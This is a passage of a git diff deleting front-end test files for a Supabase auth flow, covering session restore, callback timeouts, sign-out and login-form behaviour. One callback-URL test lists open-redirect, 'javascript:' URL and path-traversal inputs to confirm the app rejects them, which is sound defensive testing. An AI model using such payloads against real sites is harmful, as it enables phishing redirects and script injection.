an outage keeps the stored session, and the page moves on. - expect(screen.getByTestId('loading')).toHaveTextContent('false'); - expect(screen.getByTestId('user')).toHaveTextContent('stored-user'); - } finally { - vi.useRealTimers(); - } - }); - - it('never lets a dead stored account sign out or block the account a callback signs in', async () => { - window.history.replaceState({}, '', '/auth/callback?code=pkce-code'); - let finishExchange!: (value: unknown) => void; - exchangeCodeForSessionMock.mockReturnValue(new Promise((resolve) => { finishExchange = resolve; })); - // The stored account was revoked elsewhere: its lookup is refused. - getUserMock.mockResolvedValue({ data: { user: null }, error: { status: 401, message: 'revoked' } }); - - render( - - - - ); - - act(() => callbackRef.current?.('INITIAL_SESSION', { user: { id: 'stored-user' }, access_token: 'stored' })); - await act(async () => { - finishExchange({ data: { session: { user: { id: 'callback-user' }, access_token: 'token' } }, error: null }); - }); - - await waitFor(() => expect(screen.getByTestId('loading')).toHaveTextContent('false')); - expect(screen.getByTestId('user')).toHaveTextContent('callback-user'); - expect(signOutMock).not.toHaveBeenCalled(); - expect(prepareSessionStoreMock).toHaveBeenCalledWith('callback-user'); - expect(hydrateSessionStoreMock).toHaveBeenCalled(); - }); - - it.each([ - ['opens the account and drops the timeout notice on a late success', { data: { session: { user: { id: 'late-user' }, access_token: 'token' } }, error: null }, 'none'], - ['gives the real reason on a late failure', { data: { session: null }, error: Object.assign(new Error('expired'), { code: 'flow_state_expired' }) }, 'link-expired'], - ])('after a callback timeout, %s', async (_name, lateResult, expectedError) => { - vi.useFakeTimers(); - const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); - try { - window.history.replaceState({}, '', '/auth/callback?code=slow-code&sb_flow_id=0123456789abcdef'); - let finishExchange!: (value: unknown) => void; - exchangeCodeForSessionMock.mockReturnValue(new Promise((resolve) => { finishExchange = resolve; })); - - render( - - - - ); - - await act(async () => { - await vi.advanceTimersByTimeAsync(15_000); - }); - expect(screen.getByTestId('callback-error')).toHaveTextContent('timed-out'); - expect(window.location.search).toBe('?code=slow-code&sb_flow_id=0123456789abcdef'); - - await act(async () => { - finishExchange(lateResult); - await vi.advanceTimersByTimeAsync(0); - }); - expect(screen.getByTestId('callback-error')).toHaveTextContent(expectedError); - // The answer is final now, so the used code leaves the URL. - expect(window.location.search).toBe(''); - } finally { - warnSpy.mockRestore(); - vi.useRealTimers(); - } - }); - - it('after a timeout, leaves the stored account alone until the exchange answers, then opens the new one', async () => { - vi.useFakeTimers(); - const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); - try { - window.history.replaceState({}, '', '/auth/callback?code=slow-code'); - getSessionMock.mockResolvedValue({ data: { session: { user: { id: 'stored-user' }, access_token: 'stored' } }, error: null }); - let finishExchange!: (value: unknown) => void; - exchangeCodeForSessionMock.mockReturnValue(new Promise((resolve) => { finishExchange = resolve; })); - - render( - - - - ); - - act(() => callbackRef.current?.('INITIAL_SESSION', { user: { id: 'stored-user' }, access_token: 'stored' })); - await act(async () => { - await vi.advanceTimersByTimeAsync(15_000); - }); - // Nothing is restored or checked while the slow exchange may still sign someone in. - expect(screen.getByTestId('loading')).toHaveTextContent('false'); - expect(screen.getByTestId('user')).toHaveTextContent('none'); - expect(getSessionMock).not.toHaveBeenCalled(); - expect(getUserMock).not.toHaveBeenCalled(); - - await act(async () => { - finishExchange({ data: { session: { user: { id: 'callback-user' }, access_token: 'token' } }, error: null }); - await vi.advanceTimersByTimeAsync(0); - }); - expect(screen.getByTestId('user')).toHaveTextContent('callback-user'); - expect(prepareSessionStoreMock).toHaveBeenCalledWith('callback-user'); - expect(prepareSessionStoreMock).not.toHaveBeenCalledWith('stored-user'); - } finally { - warnSpy.mockRestore(); - vi.useRealTimers(); - } - }); - - it('after a timeout and a late failure, restores the stored account through the usual check', async () => { - vi.useFakeTimers(); - const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); - try { - window.history.replaceState({}, '', '/auth/callback?code=slow-code'); - getSessionMock.mockResolvedValue({ data: { session: { user: { id: 'stored-user' }, access_token: 'stored' } }, error: null }); - let finishExchange!: (value: unknown) => void; - exchangeCodeForSessionMock.mockReturnValue(new Promise((resolve) => { finishExchange = resolve; })); - - render( - - - - ); - - await act(async () => { - await vi.advanceTimersByTimeAsync(15_000); - }); - await act(async () => { - finishExchange({ data: { session: null }, error: Object.assign(new Error('expired'), { code: 'flow_state_expired' }) }); - await vi.advanceTimersByTimeAsync(0); - }); - expect(screen.getByTestId('callback-error')).toHaveTextContent('link-expired'); - expect(getUserMock).toHaveBeenCalled(); - expect(screen.getByTestId('user')).toHaveTextContent('stored-user'); - } finally { - warnSpy.mockRestore(); - vi.useRealTimers(); - } - }); - - it('after a timeout, still takes a sign-in made on /login, and a late failure does not undo it', async () => { - vi.useFakeTimers(); - const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); - try { - window.history.replaceState({}, '', '/auth/callback?code=slow-code'); - getSessionMock.mockResolvedValue({ data: { session: { user: { id: 'stored-user' }, access_token: 'stored' } }, error: null }); - let finishExchange!: (value: unknown) => void; - exchangeCodeForSessionMock.mockReturnValue(new Promise((resolve) => { finishExchange = resolve; })); - - render( - - - - ); - - await act(async () => { - await vi.advanceTimersByTimeAsync(15_000); - }); - // The user gave up on the link and signed in with a code instead. - await act(async () => { - callbackRef.current?.('SIGNED_IN', { user: { id: 'code-user' }, access_token: 'code-token' }); - await vi.advanceTimersByTimeAsync(0); - }); - expect(screen.getByTestId('user')).toHaveTextContent('code-user'); - - await act(async () => { - finishExchange({ data: { session: null }, error: Object.assign(new Error('expired'), { code: 'flow_state_expired' }) }); - await vi.advanceTimersByTimeAsync(0); - }); - expect(screen.getByTestId('user')).toHaveTextContent('code-user'); - expect(prepareSessionStoreMock).not.toHaveBeenCalledWith('stored-user'); - } finally { - warnSpy.mockRestore(); - vi.useRealTimers(); - } - }); - - it('does not restore the stored account over one signed in during its check', async () => { - getSessionMock.mockResolvedValue({ data: { session: { user: { id: 'stored-user' }, access_token: 'stored' } }, error: null }); - let answerLookup!: (value: unknown) => void; - getUserMock.mockImplementationOnce(() => new Promise((resolve) => { answerLookup = resolve; })); - - render( - - - - ); - - await waitFor(() => expect(getUserMock).toHaveBeenCalled()); - await act(async () => { - callbackRef.current?.('SIGNED_IN', { user: { id: 'new-user' }, access_token: 'new-token' }); - }); - await act(async () => { - answerLookup({ data: { user: { id: 'stored-user' } }, error: null }); - }); - - await waitFor(() => expect(screen.getByTestId('loading')).toHaveTextContent('false')); - expect(screen.getByTestId('user')).toHaveTextContent('new-user'); - }); - - it('does not drop an account signed in while a dead stored account was being checked', async () => { - getSessionMock.mockResolvedValue({ data: { session: { user: { id: 'stored-user' }, access_token: 'stored' } }, error: null }); - let answerLookup!: (value: unknown) => void; - getUserMock.mockImplementationOnce(() => new Promise((resolve) => { answerLookup = resolve; })); - - render( - - - - ); - - await waitFor(() => expect(getUserMock).toHaveBeenCalled()); - await act(async () => { - callbackRef.current?.('SIGNED_IN', { user: { id: 'new-user' }, access_token: 'new-token' }); - }); - await act(async () => { - answerLookup({ data: { user: null }, error: { status: 401, message: 'revoked' } }); - }); - - await waitFor(() => expect(screen.getByTestId('loading')).toHaveTextContent('false')); - expect(screen.getByTestId('user')).toHaveTextContent('new-user'); - }); - - it('does not hold startup on a sign-out of a dead stored session that never answers', async () => { - vi.useFakeTimers(); - try { - getSessionMock.mockResolvedValue({ data: { session: { user: { id: 'stored-user' }, access_token: 'stored' } }, error: null }); - getUserMock.mockResolvedValue({ data: { user: null }, error: { status: 401, message: 'revoked' } }); - signOutMock.mockReturnValue(new Promise(() => {})); - - render( - - - - ); - - await act(async () => { - await vi.advanceTimersByTimeAsync(4_000); - }); - expect(screen.getByTestId('loading')).toHaveTextContent('false'); - expect(screen.getByTestId('user')).toHaveTextContent('none'); - } finally { - signOutMock.mockReset(); - vi.useRealTimers(); - } - }); - - it('keeps a callback error when the stored session is restored afterwards', async () => { - window.history.replaceState({}, '', '/auth/callback?error=access_denied&error_code=otp_expired'); - getSessionMock.mockResolvedValue({ data: { session: { user: { id: 'stored-user' }, access_token: 'stored' } }, error: null }); - - render( - - - - ); - - await waitFor(() => expect(screen.getByTestId('loading')).toHaveTextContent('false')); - act(() => callbackRef.current?.('SIGNED_IN', { user: { id: 'stored-user' }, access_token: 'stored' })); - expect(screen.getByTestId('callback-error')).toHaveTextContent('link-expired'); - }); - - it('says why a callback exchange failed and keeps any session the browser already had', async () => { - const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); - window.history.replaceState({}, '', '/auth/callback?code=pkce-code&sb_flow_id=0123456789abcdef'); - exchangeCodeForSessionMock.mockResolvedValue({ - data: { session: null }, - error: Object.assign(new Error('PKCE code verifier not found in storage.'), { code: 'pkce_code_verifier_not_found' }), - }); - getSessionMock.mockResolvedValue({ data: { session: { user: { id: 'existing-user' }, access_token: 'token' } }, error: null }); - - render( - - - - ); - - await waitFor(() => expect(screen.getByTestId('loading')).toHaveTextContent('false')); - expect(screen.getByTestId('callback-error')).toHaveTextContent('other-browser'); - expect(screen.getByTestId('user')).toHaveTextContent('existing-user'); - expect(window.location.search).toBe(''); - warnSpy.mockRestore(); - }); - - it('reads an expired-link error from the callback URL without exchanging anything', async () => { - window.history.replaceState({}, '', '/auth/callback?error=access_denied&error_code=otp_expired&error_description=Email+link+is+invalid+or+has+expired'); - - render( - - - - ); - - await waitFor(() => expect(screen.getByTestId('loading')).toHaveTextContent('false')); - expect(screen.getByTestId('callback-error')).toHaveTextContent('link-expired'); - expect(screen.getByTestId('user')).toHaveTextContent('none'); - expect(exchangeCodeForSessionMock).not.toHaveBeenCalled(); - expect(window.location.search).toBe(''); - }); - - it('ignores a code query parameter outside the callback route', async () => { - window.history.replaceState({}, '', '/app/history?code=not-ours'); - - render( - - - - ); - - await waitFor(() => expect(screen.getByTestId('loading')).toHaveTextContent('false')); - expect(exchangeCodeForSessionMock).not.toHaveBeenCalled(); - expect(window.location.search).toBe('?code=not-ours'); - }); - - it('stops waiting and reports a failed sign-in when the callback exchange hangs', async () => { - vi.useFakeTimers(); - const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); - window.history.replaceState({}, '', '/auth/callback?code=stalled-code'); - exchangeCodeForSessionMock.mockReturnValue(new Promise(() => {})); - - render( - - - - ); - - act(() => callbackRef.current?.('INITIAL_SESSION', null)); - await act(async () => { - await vi.advanceTimersByTimeAsync(14_000); - }); - expect(screen.getByTestId('loading')).toHaveTextContent('true'); - - await act(async () => { - // Keep this in sync with the OAuth code-exchange timeout in AuthProvider. - await vi.advanceTimersByTimeAsync(1_000); - }); - - expect(screen.getByTestId('loading')).toHaveTextContent('false'); - expect(screen.getByTestId('user')).toHaveTextContent('none'); - expect(screen.getByTestId('callback-error')).toHaveTextContent('timed-out'); - // A timeout is not a final answer: the code may still be good, so a reload can retry it. - expect(window.location.search).toBe('?code=stalled-code'); - - warnSpy.mockRestore(); - vi.useRealTimers(); - }); - - it('propagates external browser launch failures to the caller', async () => { - signInWithOAuthMock.mockResolvedValue({ - data: { url: 'https://accounts.google.com/o/oauth2/v2/auth?client_id=test' }, - error: null, - }); - openExternalUrlMock.mockRejectedValue(new Error('Safari unavailable')); - - render( - - - - ); - - fireEvent.click(screen.getByRole('button', { name: 'sign-in-with-error' })); - - await waitFor(() => { - expect(screen.getByTestId('sign-in-error')).toHaveTextContent('Safari unavailable'); - }); - }); - - it('signOut ends only this device\'s session and resets both stores', async () => { - render( - - - - ); - - fireEvent.click(screen.getByRole('button', { name: 'sign-out' })); - - await waitFor(() => { - expect(signOutMock).toHaveBeenCalledWith({ scope: 'local' }); - }); - - expect(resetSessionStoreMock).toHaveBeenCalled(); - expect(resetSettingsStoreMock).toHaveBeenCalled(); - }); - - it('leaveEnvironment clears this project\'s session and data even when sign-out hangs', async () => { - vi.useFakeTimers({ shouldAdvanceTime: true }); - try { - signOutMock.mockReturnValue(new Promise(() => {})); - localStorage.setItem('debate-auth-production', 'session'); - localStorage.setItem('debate-auth-production-user', 'user'); - localStorage.setItem('debate-auth-staging', 'other-project-session'); - sessionStorage.setItem('google_provider_token', 'production-google-token'); - localStorage.setItem('google_provider_token', 'legacy-google-token'); - localStorage.setItem('google_provider_refresh_token', 'legacy-refresh-token'); - useDebateStore.setState({ currentDebateId: 'debate-1', oneOff: true }); - let left = false; - function Leaver() { - const { leaveEnvironment } = useAuth(); - return ; - } - render(); - - fireEvent.click(screen.getByRole('button', { name: 'leave' })); - await act(async () => { await vi.advanceTimersByTimeAsync(4000); }); - - expect(left).toBe(true); - // Leaving must end only this browser's session, not the account's sessions on other devices. - expect(signOutMock).toHaveBeenCalledWith({ scope: 'local' }); - expect(localStorage.getItem('debate-auth-production')).toBeNull(); - expect(localStorage.getItem('debate-auth-production-user')).toBeNull(); - expect(localStorage.getItem('debate-auth-staging')).toBe('other-project-session'); - expect(sessionStorage.getItem('google_provider_token')).toBeNull(); - expect(localStorage.getItem('google_provider_token')).toBeNull(); - expect(localStorage.getItem('google_provider_refresh_token')).toBeNull(); - expect(resetSessionStoreMock).toHaveBeenCalled(); - expect(clearSessionStoreMock).toHaveBeenCalled(); - expect(resetSettingsStoreMock).toHaveBeenCalled(); - expect(resetSparringStoreMock).toHaveBeenCalled(); - expect(useDebateStore.getState()).toMatchObject({ currentDebateId: null, oneOff: false }); - } finally { - vi.useRealTimers(); - } - }); - - it('discardTabState clears only this tab\'s own storage, not shared stores', () => { - sessionStorage.setItem('google_provider_token', 'old-project-google-token'); - localStorage.setItem('debate-auth-production', 'session'); - useDebateStore.setState({ currentDebateId: 'debate-1' }); - let discard: (() => void) | undefined; - function Holder(): null { - discard = useAuth().discardTabState; - return null; - } - render(); - - act(() => discard!()); - - expect(sessionStorage.getItem('google_provider_token')).toBeNull(); - expect(resetSparringStoreMock).toHaveBeenCalled(); - expect(localStorage.getItem('debate-auth-production')).toBe('session'); - expect(resetSessionStoreMock).not.toHaveBeenCalled(); - expect(clearSessionStoreMock).not.toHaveBeenCalled(); - expect(resetSettingsStoreMock).not.toHaveBeenCalled(); - expect(useDebateStore.getState().currentDebateId).toBe('debate-1'); - }); - - it('unsubscribes auth listener on unmount', async () => { - const { unmount } = render( - - - - ); - - unmount(); - - expect(unsubscribeMock).toHaveBeenCalled(); - }); - - it('throws if useAuth is used outside provider', () => { - const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {}); - const expectedError = 'useAuth must be used within AuthProvider'; - const preventExpectedErrorLog = (event: ErrorEvent) => { - if (event.error instanceof Error && event.error.message === expectedError) { - event.preventDefault(); - } - }; - - function BrokenConsumer(): null { - useAuth(); - return null; - } - - window.addEventListener('error', preventExpectedErrorLog); - try { - expect(() => render()).toThrow(expectedError); - } finally { - window.removeEventListener('error', preventExpectedErrorLog); - errorSpy.mockRestore(); - } - }); -}); diff --git a/src/test/auth/account-switch-route.test.tsx b/src/test/auth/account-switch-route.test.tsx deleted file mode 100644 index ec6f223aa..000000000 --- a/src/test/auth/account-switch-route.test.tsx +++ /dev/null @@ -1,92 +0,0 @@ -import { describe, expect, it, vi } from 'vitest'; -import { cleanup, render, screen, waitFor } from '@testing-library/react'; -import { markSignOutIntent } from '@/lib/supabase/sign-out-intent'; -import { MemoryRouter, Route, Routes, useLocation } from 'react-router-dom'; -import { TooltipProvider } from '@/components/ui/tooltip'; -import { RequireAuth } from '@/components/auth/RequireAuth'; -import LoginPage from '@/pages/LoginPage'; - -const auth = vi.hoisted(() => ({ user: null as { id: string } | null })); - -vi.mock('@/lib/supabase/AuthProvider', () => ({ - useAuth: () => ({ - user: auth.user, - loading: false, - callbackError: null as null, - clearCallbackError: vi.fn(), - signInWithGoogle: vi.fn(), - signInWithEmailOtp: vi.fn(), - verifyEmailOtp: vi.fn(), - signInWithDemoCode: vi.fn(), - }), -})); - -function Where() { - return
{useLocation().pathname}
; -} - -function App({ start = '/app/history' }: { start?: string }) { - return ( - - - - } /> - }> - - - - - - - - ); -} - -// Signs in as `first` on `start`, signs out, then signs in as `second` in the same tab. -// `onPurpose` is Settings > Sign out; otherwise the session ended by itself. -async function switchAccounts(first: string, second: string, { start = '/app/history', onPurpose = false } = {}) { - auth.user = { id: first }; - const view = render(); - expect(screen.getByTestId('where')).toHaveTextContent(start); - - if (onPurpose) markSignOutIntent(); - auth.user = null; - view.rerender(); - await waitFor(() => expect(screen.getByTestId('where')).toHaveTextContent('/login')); - - auth.user = { id: second }; - view.rerender(); - await waitFor(() => expect(screen.getByTestId('where')).not.toHaveTextContent('/login')); - return screen.getByTestId('where').textContent; -} - -describe('where a sign-in lands after a sign-out in the same tab', () => { - it('opens /app for a different account, not the page the previous account had open', async () => { - expect(await switchAccounts('student-a', 'student-b')).toBe('/app'); - }); - - it('returns the same account to the page it left', async () => { - expect(await switchAccounts('student-a', 'student-a')).toBe('/app/history'); - }); - - // QA round 3: Sign out lives on Settings, so the next sign-in opened Settings. - it('opens /app after Sign out on Settings, even for the same account', async () => { - expect(await switchAccounts('student-a', 'student-a', { start: '/app/settings', onPurpose: true })).toBe('/app'); - }); - - it('keeps Settings when the session ended by itself there', async () => { - expect(await switchAccounts('student-a', 'student-a', { start: '/app/settings' })).toBe('/app/settings'); - }); - - it('still returns a signed-out deep link to its page after a deliberate sign-out', async () => { - await switchAccounts('student-a', 'student-a', { start: '/app/settings', onPurpose: true }); - cleanup(); - // A fresh visit to a deep link while signed out, in the same tab. - auth.user = null; - const view = render(); - await waitFor(() => expect(screen.getByTestId('where')).toHaveTextContent('/login')); - auth.user = { id: 'student-a' }; - view.rerender(); - await waitFor(() => expect(screen.getByTestId('where')).toHaveTextContent('/app/history')); - }); -}); diff --git a/src/test/auth/auth-callback-page.test.tsx b/src/test/auth/auth-callback-page.test.tsx deleted file mode 100644 index c647f07d2..000000000 --- a/src/test/auth/auth-callback-page.test.tsx +++ /dev/null @@ -1,67 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest'; -import { render, screen } from '@testing-library/react'; -import { MemoryRouter, Route, Routes } from 'react-router-dom'; -import AuthCallbackPage from '@/pages/AuthCallbackPage'; - -const mocks = vi.hoisted(() => ({ - toast: vi.fn(), - clearCallbackError: vi.fn(), - auth: { user: null as { id: string } | null, callbackError: null as string | null }, -})); - -vi.mock('@/hooks/use-toast', () => ({ useToast: () => ({ toast: mocks.toast }) })); -vi.mock('@/lib/supabase/AuthProvider', () => ({ - useAuth: () => ({ - user: mocks.auth.user, - loading: false, - callbackError: mocks.auth.callbackError, - clearCallbackError: mocks.clearCallbackError, - }), -})); - -function renderCallback() { - render( - - - } /> - history} /> - login} /> - - , - ); -} - -describe('sign-in callback page', () => { - beforeEach(() => vi.clearAllMocks()); - - it('still says the link failed when this browser keeps another session', () => { - mocks.auth = { user: { id: 'stored-user' }, callbackError: 'other-browser' }; - renderCallback(); - - expect(screen.getByText('history')).toBeInTheDocument(); - expect(mocks.toast).toHaveBeenCalledWith(expect.objectContaining({ - title: 'This sign-in link only works in the browser where you asked for it. Send a new code here.', - variant: 'destructive', - })); - expect(mocks.clearCallbackError).toHaveBeenCalled(); - }); - - it('stays on the callback after a timeout so a reload can retry the unused code', () => { - mocks.auth = { user: null, callbackError: 'timed-out' }; - renderCallback(); - - expect(screen.queryByText('login')).not.toBeInTheDocument(); - expect(screen.getByRole('alert')).toHaveTextContent('Signing in is taking longer than it should. Try again.'); - expect(screen.getByRole('button', { name: 'Try again' })).toBeInTheDocument(); - expect(screen.getByRole('link', { name: 'Back to sign-in' })).toHaveAttribute('href', '/login'); - }); - - it('keeps the retry after a timeout even when this browser has another session', () => { - mocks.auth = { user: { id: 'stored-user' }, callbackError: 'timed-out' }; - renderCallback(); - - expect(screen.queryByText('history')).not.toBeInTheDocument(); - expect(screen.getByRole('button', { name: 'Try again' })).toBeInTheDocument(); - expect(mocks.toast).not.toHaveBeenCalled(); - }); -}); diff --git a/src/test/auth/auth-callback.test.ts b/src/test/auth/auth-callback.test.ts deleted file mode 100644 index 35036ed1c..000000000 --- a/src/test/auth/auth-callback.test.ts +++ /dev/null @@ -1,76 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import { authCallbackErrorFor, authCallbackUrl, legacyCallbackPath, readAuthCallbackParams, safeNextPath } from '@/lib/auth-callback'; - -describe('auth callback URLs', () => { - it.each([ - ['/app/history', '/app/history'], - ['/app', '/app'], - ['/app/workspaces/invite', '/app/workspaces/invite'], - [null, '/app'], - ['', '/app'], - ['/login', '/app'], - ['//evil.example/app', '/app'], - ['/app//evil.example', '/app'], - ['/app/\\evil.example', '/app'], - ['https://evil.example/app', '/app'], - ['javascript:alert(1)', '/app'], - ['/app/../login', '/app'], - ['/application', '/app'], - ])('only lets %s return to an in-app page (%s)', (value, expected) => { - expect(safeNextPath(value)).toBe(expected); - }); - - it('carries a deep link through the callback and drops anything else', () => { - expect(authCallbackUrl('https://debateowl.com')).toBe('https://debateowl.com/auth/callback'); - expect(authCallbackUrl('https://debateowl.com', '/app')).toBe('https://debateowl.com/auth/callback'); - expect(authCallbackUrl('https://debateowl.com', '/app/history')).toBe('https://debateowl.com/auth/callback?next=%2Fapp%2Fhistory'); - expect(authCallbackUrl('https://debateowl.com', '//evil.example')).toBe('https://debateowl.com/auth/callback'); - }); - - it.each([ - ['/', '?code=abc', '', '/auth/callback?code=abc'], - ['/app', '?code=abc&sb_flow_id=0123456789abcdef', '', '/auth/callback?code=abc&sb_flow_id=0123456789abcdef'], - ['/app/', '?error=access_denied&error_code=otp_expired', '', '/auth/callback?error=access_denied&error_code=otp_expired'], - ['/', '', '#error=access_denied&error_code=otp_expired', '/auth/callback#error=access_denied&error_code=otp_expired'], - ])('moves an old link to %s%s%s onto the callback route', (pathname, search, hash, expected) => { - expect(legacyCallbackPath({ pathname, search, hash })).toBe(expected); - }); - - it.each([ - ['/', '', ''], - ['/', '', '#short-answer'], - ['/app/settings', '?checkout=success', ''], - ['/app/history', '?code=abc', ''], - ['/share/abc', '?code=abc', ''], - ['/auth/callback', '?code=abc', ''], - ])('leaves %s%s%s alone', (pathname, search, hash) => { - expect(legacyCallbackPath({ pathname, search, hash })).toBeNull(); - }); - - it('reads the code, its flow id and any error the auth server returned', () => { - expect(readAuthCallbackParams(new URL('https://x.test/auth/callback?code=c1&sb_flow_id=0123456789abcdef&next=%2Fapp'))).toEqual({ - code: 'c1', - flowId: '0123456789abcdef', - error: null, - }); - expect(readAuthCallbackParams(new URL('https://x.test/auth/callback?error=access_denied&error_code=otp_expired&error_description=Email+link+is+invalid'))).toEqual({ - code: null, - flowId: null, - error: 'link-expired', - }); - expect(readAuthCallbackParams(new URL('https://x.test/auth/callback#error=server_error&error_description=x'))).toEqual({ - code: null, - flowId: null, - error: 'failed', - }); - // A flow id outside auth-js's own shape never reaches a storage key. - expect(readAuthCallbackParams(new URL('https://x.test/auth/callback?code=c1&sb_flow_id=../x')).flowId).toBeNull(); - }); - - it('names why an exchange failed', () => { - expect(authCallbackErrorFor({ code: 'pkce_code_verifier_not_found' })).toBe('other-browser'); - expect(authCallbackErrorFor({ code: 'flow_state_not_found' })).toBe('link-expired'); - expect(authCallbackErrorFor({ code: 'flow_state_expired' })).toBe('link-expired'); - expect(authCallbackErrorFor(new Error('network'))).toBe('failed'); - }); -}); diff --git a/src/test/auth/login-form.test.tsx b/src/test/auth/login-form.test.tsx deleted file mode 100644 index c680dd62e..000000000 --- a/src/test/auth/login-form.test.tsx +++ /dev/null @@ -1,180 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import { act, fireEvent, render, screen } from '@testing-library/react'; -import { MemoryRouter } from 'react-router-dom'; -import { TooltipProvider } from '@/components/ui/tooltip'; -import { AuthApiError } from '@supabase/supabase-js'; -import LoginPage from '@/pages/LoginPage'; -import { authRetryAfterSeconds } from '@/lib/auth-errors'; -import { formatDemoCode, formatDemoCodeAt } from '@/lib/login-form'; - -const auth = vi.hoisted(() => ({ - signInWithEmailOtp: vi.fn(async () => undefined), - signInWithDemoCode: vi.fn(async () => undefined), -})); - -vi.mock('@/lib/supabase/AuthProvider', () => ({ - useAuth: () => ({ - user: null as null, - signInWithGoogle: vi.fn(), - signInWithEmailOtp: auth.signInWithEmailOtp, - verifyEmailOtp: vi.fn(), - signInWithDemoCode: auth.signInWithDemoCode, - }), -})); - -function renderLogin() { - return render(); -} - -function submitEmail(value: string) { - fireEvent.change(screen.getByLabelText('Email address'), { target: { value } }); - fireEvent.click(screen.getByRole('button', { name: 'Send code' })); -} - -// Auth's max_frequency refusal, as auth-js raises it. -const tooSoon = (seconds: number) => new AuthApiError(`For security purposes, you can only request this after ${seconds} seconds.`, 429, 'over_email_send_rate_limit'); - -beforeEach(() => { - sessionStorage.clear(); - auth.signInWithEmailOtp.mockClear(); - auth.signInWithDemoCode.mockClear(); -}); - -afterEach(() => { - vi.useRealTimers(); -}); - -describe('resend cooldown (AUTH-04)', () => { - it('counts down after a send, survives a remount, and only then allows a resend', async () => { - vi.useFakeTimers({ shouldAdvanceTime: true }); - const first = renderLogin(); - submitEmail('student@example.com'); - expect(await screen.findByRole('button', { name: 'Resend in 1:00' })).toBeDisabled(); - - act(() => { vi.advanceTimersByTime(15_000); }); - expect(screen.getByRole('button', { name: 'Resend in 0:45' })).toBeDisabled(); - - // A reload of /login: the same address goes straight to the code step, without a request. - first.unmount(); - renderLogin(); - submitEmail(' Student@Example.com '); - expect(await screen.findByText(/We sent a code to this address a moment ago/)).toBeInTheDocument(); - expect(screen.getByRole('button', { name: 'Resend in 0:45' })).toBeDisabled(); - expect(auth.signInWithEmailOtp).toHaveBeenCalledTimes(1); - - act(() => { vi.advanceTimersByTime(45_000); }); - const resend = screen.getByRole('button', { name: 'Resend code' }); - expect(resend).toBeEnabled(); - fireEvent.click(resend); - expect(await screen.findByText('New code sent')).toBeInTheDocument(); - expect(auth.signInWithEmailOtp).toHaveBeenCalledTimes(2); - expect(screen.getByRole('button', { name: 'Resend in 1:00' })).toBeDisabled(); - }); - - it("says how long Auth asked to wait when a resend is refused", async () => { - vi.useFakeTimers({ shouldAdvanceTime: true }); - renderLogin(); - submitEmail('student@example.com'); - await screen.findByRole('button', { name: 'Resend in 1:00' }); - act(() => { vi.advanceTimersByTime(60_000); }); - - auth.signInWithEmailOtp.mockRejectedValueOnce(tooSoon(42)); - fireEvent.click(screen.getByRole('button', { name: 'Resend code' })); - expect(await screen.findByRole('alert')).toHaveTextContent('Too many attempts. Try again in 0:42.'); - expect(screen.getByRole('button', { name: 'Resend in 0:42' })).toBeDisabled(); - - // The button counts down; the alert keeps its text (read once) and goes when the wait is over. - act(() => { vi.advanceTimersByTime(2_000); }); - expect(screen.getByRole('button', { name: 'Resend in 0:40' })).toBeDisabled(); - expect(screen.getByRole('alert')).toHaveTextContent('Too many attempts. Try again in 0:42.'); - act(() => { vi.advanceTimersByTime(40_000); }); - expect(screen.queryByRole('alert')).toBeNull(); - expect(screen.getByRole('button', { name: 'Resend code' })).toBeEnabled(); - }); - - it('opens the code step when Auth says a code went to this address moments ago', async () => { - auth.signInWithEmailOtp.mockRejectedValueOnce(tooSoon(30)); - renderLogin(); - submitEmail('student@example.com'); - expect(await screen.findByText(/We sent a code to this address a moment ago/)).toBeInTheDocument(); - expect(screen.getByRole('button', { name: 'Resend in 0:30' })).toBeDisabled(); - expect(screen.queryByRole('alert')).toBeNull(); - }); - - it('locks the email field while the code is on its way', async () => { - let finishSend: () => void = () => undefined; - auth.signInWithEmailOtp.mockImplementationOnce(() => new Promise((resolve) => { finishSend = () => resolve(undefined); })); - renderLogin(); - submitEmail('a@example.com'); - // The field is locked while the code is on its way. - expect(screen.getByLabelText('Email address')).toBeDisabled(); - await act(async () => { finishSend(); }); - expect(await screen.findByRole('button', { name: 'Resend in 1:00' })).toBeDisabled(); - expect(auth.signInWithEmailOtp).toHaveBeenCalledWith('a@example.com', expect.anything()); - }); -}); - -describe('email validation (AUTH-10, AUTH-11)', () => { - it('leaves validation to the app, not the browser', () => { - const { container } = renderLogin(); - for (const form of container.querySelectorAll('form')) expect(form).toHaveAttribute('novalidate'); - }); - - it('says an empty email is required and an over-long one is too long, without sending', async () => { - renderLogin(); - submitEmail(' '); - expect(await screen.findByRole('alert')).toHaveTextContent('Email is required.'); - - const long = `${'a'.repeat(290)}@example.com`; - submitEmail(long); - expect(screen.getByLabelText('Email address')).toHaveValue(long); - expect(await screen.findByRole('alert')).toHaveTextContent('That email address is too long. Use one with at most 254 characters.'); - expect(auth.signInWithEmailOtp).not.toHaveBeenCalled(); - }); -}); - -describe('demo code (AUTH-12)', () => { - it('shapes typed and pasted input into DEMO-XXXX-XXXX', () => { - expect(formatDemoCode('d')).toBe('D'); - expect(formatDemoCode('demo')).toBe('DEMO'); - expect(formatDemoCode('demoa')).toBe('DEMO-A'); - expect(formatDemoCode('DEMO-')).toBe('DEMO'); - expect(formatDemoCode('ab12cd34')).toBe('DEMO-AB12-CD34'); - expect(formatDemoCode(' demo ab12 cd34 extra')).toBe('DEMO-AB12-CD34'); - expect(formatDemoCode('DEMO-AB12-')).toBe('DEMO-AB12'); - }); - - it('keeps the caret after the character it followed', () => { - // Delete on the middle dash: the dash comes back and the caret stays before it. - expect(formatDemoCodeAt('DEMO-AB12CD34', 9)).toEqual({ value: 'DEMO-AB12-CD34', caret: 9 }); - // A character typed mid-code moves the dash, and the caret stays after the new character. - expect(formatDemoCodeAt('DEMO-AB1X2-CD3', 9)).toEqual({ value: 'DEMO-AB1X-2CD3', caret: 9 }); - // Typing the first character without the prefix: the caret lands after it. - expect(formatDemoCodeAt('a', 1)).toEqual({ value: 'DEMO-A', caret: 6 }); - }); - - it('gives a format error for a short code and sends a well-formed one', async () => { - renderLogin(); - fireEvent.mouseDown(screen.getByRole('tab', { name: 